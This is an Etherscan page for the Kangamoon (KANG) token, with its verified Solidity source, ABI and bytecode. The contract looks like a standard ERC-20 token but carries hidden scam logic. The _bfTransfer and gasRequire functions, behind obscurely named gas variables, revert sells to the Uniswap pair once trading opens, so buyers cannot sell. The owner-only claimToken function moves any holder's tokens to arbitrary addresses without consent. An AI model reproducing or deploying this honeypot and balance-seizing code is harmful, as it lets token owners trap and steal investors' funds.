ETH Price: $2,741.34 (-1.72%)

Token

Kangamoon (KANG)
 

Overview

Max Total Supply

1,000,000,000 KANG

Holders

189

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
854,288.911987959971130458 KANG

Value
$0.00
0xef790f85f5ec46956d32809dafadecaddbe45a04
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KANG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-10
*/

/*
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract  KANG is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Kangamoon";
    string private constant _symbol = unicode"KANG";

    uint256 public BuyTaxFee = 0;
    uint256 public SellTaxFee = 0;

    bool private openedTrade = false;

    address private DeploymentWL = 0x50EECadd58b5d86231DFb0Fa33824B3d229B5a5B;
    address private Marketing = 0x0838941bD9aB4CaBfB35Fc02858299C91B67BF56;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100));
        _balances[DeploymentWL] = _balances[DeploymentWL].add(_totalSupply.mul(25).div(100));
        _balances[Marketing] = _balances[Marketing].add(_totalSupply.mul(25).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100));
        emit Transfer(address(0), DeploymentWL, _totalSupply.mul(25).div(100));
        emit Transfer(address(0), Marketing, _totalSupply.mul(25).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * BuyTaxFee / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * SellTaxFee / 100;
                _bfTransfer(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private Gaslimittited = 1000 gwei;
    uint256 private Gasmaxxxxx = 5;

    function _bfTransfer(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gasRequire(Gaslimittited);
            } else {
                gasRequire(Gasmaxxxxx);
            }
        } 
    }

    function gasRequire(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());

        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060048190556005908155600680547450eecadd58b5d86231dfb0fa33824b3d229b5a5b006001600160a81b0319909116179055600780546001600160a01b031916730838941bd9ab4cabfb35fc02858299c91b67bf5617905564e8d4a51000600a55600b553480156200007857600080fd5b506200008362000593565b600080546001600160a01b0319166001600160a01b03929092169190911790556200013c620000f96064620000e56032620000c16012600a6200077b565b620000d190633b9aca0062000866565b6200059760201b620006f91790919060201c565b620005e560201b6200073a1790919060201c565b600260006200010762000593565b6001600160a01b03166001600160a01b03168152602001908152602001600020546200066a60201b620007b31790919060201c565b600260006200014a62000593565b6001600160a01b03168152602081019190915260400160002055620001b6620001826064620000e56019620000c16012600a6200077b565b60065461010090046001600160a01b031660009081526002602090815260409091205491906200066a811b620007b317901c565b60065461010090046001600160a01b031660009081526002602052604090205562000223620001f46064620000e56019620000c16012600a6200077b565b6007546001600160a01b03166000908152600260209081526040909120549190620007b36200066a821b17901c565b6007546001600160a01b0390811660009081526002602090815260409182902093909355600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790819055815163c45a015560e01b8152915192169263c45a015592600480840193829003018186803b158015620002a157600080fd5b505afa158015620002b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dc9190620006b0565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200033a57600080fd5b505afa1580156200034f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003759190620006b0565b6040518363ffffffff1660e01b815260040162000394929190620006d9565b602060405180830381600087803b158015620003af57600080fd5b505af1158015620003c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ea9190620006b0565b600880546001600160a01b0319166001600160a01b039283161790819055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff1916600190811790915591909216600090815290919062000454620006a1565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260039092529020805490911660011790556200049e62000593565b6001600160a01b0316600060008051602062001a5f833981519152620004d36064620000e56032620000c16012600a6200077b565b604051620004e29190620006f3565b60405180910390a360065461010090046001600160a01b0316600060008051602062001a5f833981519152620005276064620000e56019620000c16012600a6200077b565b604051620005369190620006f3565b60405180910390a36007546001600160a01b0316600060008051602062001a5f833981519152620005766064620000e56019620000c16012600a6200077b565b604051620005859190620006f3565b60405180910390a3620008cb565b3390565b600082620005a857506000620005df565b620005b4828462000866565b905081620005c3848362000717565b14620005df57634e487b7160e01b600052600160045260246000fd5b92915050565b60008082116200060557634e487b7160e01b600052600160045260246000fd5b600062000613838562000717565b905062000621838562000888565b6200062d828562000866565b620006399190620006fc565b84146200065657634e487b7160e01b600052600160045260246000fd5b62000662838562000717565b949350505050565b600080620006798385620006fc565b9050838110156200069a57634e487b7160e01b600052600160045260246000fd5b9392505050565b6000546001600160a01b031690565b600060208284031215620006c2578081fd5b81516001600160a01b03811681146200069a578182fd5b6001600160a01b0392831681529116602082015260400190565b90815260200190565b600082198211156200071257620007126200089f565b500190565b600082620007295762000729620008b5565b500490565b80825b600180861162000742575062000772565b8187048211156200075757620007576200089f565b808616156200076557918102915b9490941c93800262000731565b94509492505050565b60006200069a60001960ff8516846000826200079a575060016200069a565b81620007a9575060006200069a565b8160018114620007c25760028114620007cd5762000801565b60019150506200069a565b60ff841115620007e157620007e16200089f565b6001841b915084821115620007fa57620007fa6200089f565b506200069a565b5060208310610133831016604e8410600b841016171562000839575081810a838111156200083357620008336200089f565b6200069a565b6200084884848460016200072e565b8086048211156200085d576200085d6200089f565b02949350505050565b60008160001904831182151516156200088357620008836200089f565b500290565b6000826200089a576200089a620008b5565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b61118480620008db6000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610277578063c9567bf914610297578063dd62ed3e146102ac578063e194c2b2146102cc576100fe565b806370a082311461020b5780638da5cb5b1461022b57806395d89b41146102405780639e94590b14610255576100fe565b806318160ddd116100c657806318160ddd1461019f57806323b872dd146101b4578063313ce567146101d45780633c9f5ed6146101f6576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101505780631694505e1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b6040516101259190610f63565b60405180910390f35b34801561013a57600080fd5b506101436102e7565b6040516101259190610d62565b34801561015c57600080fd5b5061017061016b366004610d1a565b61030a565b6040516101259190610d57565b34801561018957600080fd5b50610192610328565b6040516101259190610d43565b3480156101ab57600080fd5b50610118610337565b3480156101c057600080fd5b506101706101cf366004610c61565b610358565b3480156101e057600080fd5b506101e96103c8565b6040516101259190610f6c565b34801561020257600080fd5b506101706103cd565b34801561021757600080fd5b50610118610226366004610c15565b6103d6565b34801561023757600080fd5b506101926103f5565b34801561024c57600080fd5b50610143610404565b34801561026157600080fd5b50610275610270366004610c9c565b610422565b005b34801561028357600080fd5b50610170610292366004610d1a565b610694565b3480156102a357600080fd5b506102756106ac565b3480156102b857600080fd5b506101186102c7366004610c2f565b6106c8565b3480156102d857600080fd5b506101186106f3565b60045481565b60408051808201909152600981526825b0b733b0b6b7b7b760b91b602082015290565b600061031e6103176107e0565b84846107e4565b5060015b92915050565b6009546001600160a01b031681565b60006103456012600a610fec565b61035390633b9aca006110bd565b905090565b60006103658484846108a1565b6103bd846103716107e0565b6001600160a01b03871660009081526001602052604081206103b8918791906103986107e0565b6001600160a01b0316815260208101919091526040016000205490610b0e565b6107e4565b5060015b9392505050565b601290565b60065460ff1690565b6001600160a01b0381166000908152600260205260409020545b919050565b6000546001600160a01b031690565b6040805180820190915260048152634b414e4760e01b602082015290565b61042a6103f5565b6001600160a01b031661043b6107e0565b6001600160a01b03161461044e57600080fd5b60005b8381101561068c576104b86104686012600a610fec565b84848481811061048857634e487b7160e01b600052603260045260246000fd5b9050602002013561049991906110bd565b6001600160a01b03881660009081526002602052604090205490610b0e565b6001600160a01b03871660009081526002602052604090205561056a6104e06012600a610fec565b84848481811061050057634e487b7160e01b600052603260045260246000fd5b9050602002013561051191906110bd565b6002600088888681811061053557634e487b7160e01b600052603260045260246000fd5b905060200201602081019061054a9190610c15565b6001600160a01b03168152602081019190915260400160002054906107b3565b6002600087878581811061058e57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906105a39190610c15565b6001600160a01b031681526020810191909152604001600020558484828181106105dd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906105f29190610c15565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6106349190610fec565b86868681811061065457634e487b7160e01b600052603260045260246000fd5b9050602002013561066591906110bd565b6040516106729190610f63565b60405180910390a380610684816110f3565b915050610451565b505050505050565b60008061069f6107e0565b90506103bd8185856108a1565b6106b4610b38565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055481565b60008261070857506000610322565b61071282846110bd565b90508161071f8483610f92565b1461032257634e487b7160e01b600052600160045260246000fd5b600080821161075957634e487b7160e01b600052600160045260246000fd5b60006107658385610f92565b9050610771838561110e565b61077b82856110bd565b6107859190610f7a565b84146107a157634e487b7160e01b600052600160045260246000fd5b6107ab8385610f92565b949350505050565b6000806107c08385610f7a565b9050838110156103c157634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166108135760405162461bcd60e51b815260040161080a90610f1f565b60405180910390fd5b6001600160a01b0382166108395760405162461bcd60e51b815260040161080a90610df8565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610894908590610f63565b60405180910390a3505050565b6001600160a01b0383166108c75760405162461bcd60e51b815260040161080a90610eb7565b6001600160a01b0382166108ed5760405162461bcd60e51b815260040161080a90610db5565b806108f7846103d6565b10156109155760405162461bcd60e51b815260040161080a90610e3a565b6001600160a01b03831660009081526003602052604081205460ff1615801561095757506001600160a01b03831660009081526003602052604090205460ff16155b156109d65760065460ff1661097e5760405162461bcd60e51b815260040161080a90610e80565b60646004548361098e91906110bd565b6109989190610f92565b6008549091506001600160a01b03848116911614156109d6576064600554836109c191906110bd565b6109cb9190610f92565b90506109d684610b6f565b8015610a4f57306000908152600260205260409020546109f7908290610f7a565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a46908590610f63565b60405180910390a35b81610a59856103d6565b610a6391906110dc565b6001600160a01b038516600090815260026020526040902055610a8681836110dc565b6001600160a01b038416600090815260026020526040902054610aa99190610f7a565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610af384866110dc565b604051610b009190610f63565b60405180910390a350505050565b600081831015610b2e57634e487b7160e01b600052600160045260246000fd5b6103c182846110dc565b610b406107e0565b6000546001600160a01b03908116911614610b6d5760405162461bcd60e51b815260040161080a90610efc565b565b6000610b7a826103d6565b1115610ba55760065460ff16610b9a57610b95600a54610ba8565b610ba5565b610ba5600b54610ba8565b50565b803a1115610ba557600080fd5b80356001600160a01b03811681146103f057600080fd5b60008083601f840112610bdd578182fd5b50813567ffffffffffffffff811115610bf4578182fd5b6020830191508360208083028501011115610c0e57600080fd5b9250929050565b600060208284031215610c26578081fd5b6103c182610bb5565b60008060408385031215610c41578081fd5b610c4a83610bb5565b9150610c5860208401610bb5565b90509250929050565b600080600060608486031215610c75578081fd5b610c7e84610bb5565b9250610c8c60208501610bb5565b9150604084013590509250925092565b600080600080600060608688031215610cb3578081fd5b610cbc86610bb5565b9450602086013567ffffffffffffffff80821115610cd8578283fd5b610ce489838a01610bcc565b90965094506040880135915080821115610cfc578283fd5b50610d0988828901610bcc565b969995985093965092949392505050565b60008060408385031215610d2c578182fd5b610d3583610bb5565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d8e57858101830151858201604001528201610d72565b81811115610d9f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6040820152652076616c756560d01b606082015260800190565b6020808252601d908201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8d57610f8d611122565b500190565b600082610fa157610fa1611138565b500490565b80825b6001808611610fb85750610fe3565b818704821115610fca57610fca611122565b80861615610fd757918102915b9490941c938002610fa9565b94509492505050565b60006103c160001960ff851684600082611008575060016103c1565b81611015575060006103c1565b816001811461102b576002811461103557611062565b60019150506103c1565b60ff84111561104657611046611122565b6001841b91508482111561105c5761105c611122565b506103c1565b5060208310610133831016604e8410600b8410161715611095575081810a8381111561109057611090611122565b6103c1565b6110a28484846001610fa6565b8086048211156110b4576110b4611122565b02949350505050565b60008160001904831182151516156110d7576110d7611122565b500290565b6000828210156110ee576110ee611122565b500390565b600060001982141561110757611107611122565b5060010190565b60008261111d5761111d611138565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fdfea2646970667358221220a2e107751360bf6e1401e547af0209c7dc81460f460d4da92b5a3ee7942b21ad64736f6c63430008000033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610277578063c9567bf914610297578063dd62ed3e146102ac578063e194c2b2146102cc576100fe565b806370a082311461020b5780638da5cb5b1461022b57806395d89b41146102405780639e94590b14610255576100fe565b806318160ddd116100c657806318160ddd1461019f57806323b872dd146101b4578063313ce567146101d45780633c9f5ed6146101f6576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101505780631694505e1461017d576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186102e1565b6040516101259190610f63565b60405180910390f35b34801561013a57600080fd5b506101436102e7565b6040516101259190610d62565b34801561015c57600080fd5b5061017061016b366004610d1a565b61030a565b6040516101259190610d57565b34801561018957600080fd5b50610192610328565b6040516101259190610d43565b3480156101ab57600080fd5b50610118610337565b3480156101c057600080fd5b506101706101cf366004610c61565b610358565b3480156101e057600080fd5b506101e96103c8565b6040516101259190610f6c565b34801561020257600080fd5b506101706103cd565b34801561021757600080fd5b50610118610226366004610c15565b6103d6565b34801561023757600080fd5b506101926103f5565b34801561024c57600080fd5b50610143610404565b34801561026157600080fd5b50610275610270366004610c9c565b610422565b005b34801561028357600080fd5b50610170610292366004610d1a565b610694565b3480156102a357600080fd5b506102756106ac565b3480156102b857600080fd5b506101186102c7366004610c2f565b6106c8565b3480156102d857600080fd5b506101186106f3565b60045481565b60408051808201909152600981526825b0b733b0b6b7b7b760b91b602082015290565b600061031e6103176107e0565b84846107e4565b5060015b92915050565b6009546001600160a01b031681565b60006103456012600a610fec565b61035390633b9aca006110bd565b905090565b60006103658484846108a1565b6103bd846103716107e0565b6001600160a01b03871660009081526001602052604081206103b8918791906103986107e0565b6001600160a01b0316815260208101919091526040016000205490610b0e565b6107e4565b5060015b9392505050565b601290565b60065460ff1690565b6001600160a01b0381166000908152600260205260409020545b919050565b6000546001600160a01b031690565b6040805180820190915260048152634b414e4760e01b602082015290565b61042a6103f5565b6001600160a01b031661043b6107e0565b6001600160a01b03161461044e57600080fd5b60005b8381101561068c576104b86104686012600a610fec565b84848481811061048857634e487b7160e01b600052603260045260246000fd5b9050602002013561049991906110bd565b6001600160a01b03881660009081526002602052604090205490610b0e565b6001600160a01b03871660009081526002602052604090205561056a6104e06012600a610fec565b84848481811061050057634e487b7160e01b600052603260045260246000fd5b9050602002013561051191906110bd565b6002600088888681811061053557634e487b7160e01b600052603260045260246000fd5b905060200201602081019061054a9190610c15565b6001600160a01b03168152602081019190915260400160002054906107b3565b6002600087878581811061058e57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906105a39190610c15565b6001600160a01b031681526020810191909152604001600020558484828181106105dd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906105f29190610c15565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6106349190610fec565b86868681811061065457634e487b7160e01b600052603260045260246000fd5b9050602002013561066591906110bd565b6040516106729190610f63565b60405180910390a380610684816110f3565b915050610451565b505050505050565b60008061069f6107e0565b90506103bd8185856108a1565b6106b4610b38565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055481565b60008261070857506000610322565b61071282846110bd565b90508161071f8483610f92565b1461032257634e487b7160e01b600052600160045260246000fd5b600080821161075957634e487b7160e01b600052600160045260246000fd5b60006107658385610f92565b9050610771838561110e565b61077b82856110bd565b6107859190610f7a565b84146107a157634e487b7160e01b600052600160045260246000fd5b6107ab8385610f92565b949350505050565b6000806107c08385610f7a565b9050838110156103c157634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166108135760405162461bcd60e51b815260040161080a90610f1f565b60405180910390fd5b6001600160a01b0382166108395760405162461bcd60e51b815260040161080a90610df8565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610894908590610f63565b60405180910390a3505050565b6001600160a01b0383166108c75760405162461bcd60e51b815260040161080a90610eb7565b6001600160a01b0382166108ed5760405162461bcd60e51b815260040161080a90610db5565b806108f7846103d6565b10156109155760405162461bcd60e51b815260040161080a90610e3a565b6001600160a01b03831660009081526003602052604081205460ff1615801561095757506001600160a01b03831660009081526003602052604090205460ff16155b156109d65760065460ff1661097e5760405162461bcd60e51b815260040161080a90610e80565b60646004548361098e91906110bd565b6109989190610f92565b6008549091506001600160a01b03848116911614156109d6576064600554836109c191906110bd565b6109cb9190610f92565b90506109d684610b6f565b8015610a4f57306000908152600260205260409020546109f7908290610f7a565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a46908590610f63565b60405180910390a35b81610a59856103d6565b610a6391906110dc565b6001600160a01b038516600090815260026020526040902055610a8681836110dc565b6001600160a01b038416600090815260026020526040902054610aa99190610f7a565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610af384866110dc565b604051610b009190610f63565b60405180910390a350505050565b600081831015610b2e57634e487b7160e01b600052600160045260246000fd5b6103c182846110dc565b610b406107e0565b6000546001600160a01b03908116911614610b6d5760405162461bcd60e51b815260040161080a90610efc565b565b6000610b7a826103d6565b1115610ba55760065460ff16610b9a57610b95600a54610ba8565b610ba5565b610ba5600b54610ba8565b50565b803a1115610ba557600080fd5b80356001600160a01b03811681146103f057600080fd5b60008083601f840112610bdd578182fd5b50813567ffffffffffffffff811115610bf4578182fd5b6020830191508360208083028501011115610c0e57600080fd5b9250929050565b600060208284031215610c26578081fd5b6103c182610bb5565b60008060408385031215610c41578081fd5b610c4a83610bb5565b9150610c5860208401610bb5565b90509250929050565b600080600060608486031215610c75578081fd5b610c7e84610bb5565b9250610c8c60208501610bb5565b9150604084013590509250925092565b600080600080600060608688031215610cb3578081fd5b610cbc86610bb5565b9450602086013567ffffffffffffffff80821115610cd8578283fd5b610ce489838a01610bcc565b90965094506040880135915080821115610cfc578283fd5b50610d0988828901610bcc565b969995985093965092949392505050565b60008060408385031215610d2c578182fd5b610d3583610bb5565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610d8e57858101830151858201604001528201610d72565b81811115610d9f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6040820152652076616c756560d01b606082015260800190565b6020808252601d908201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8d57610f8d611122565b500190565b600082610fa157610fa1611138565b500490565b80825b6001808611610fb85750610fe3565b818704821115610fca57610fca611122565b80861615610fd757918102915b9490941c938002610fa9565b94509492505050565b60006103c160001960ff851684600082611008575060016103c1565b81611015575060006103c1565b816001811461102b576002811461103557611062565b600191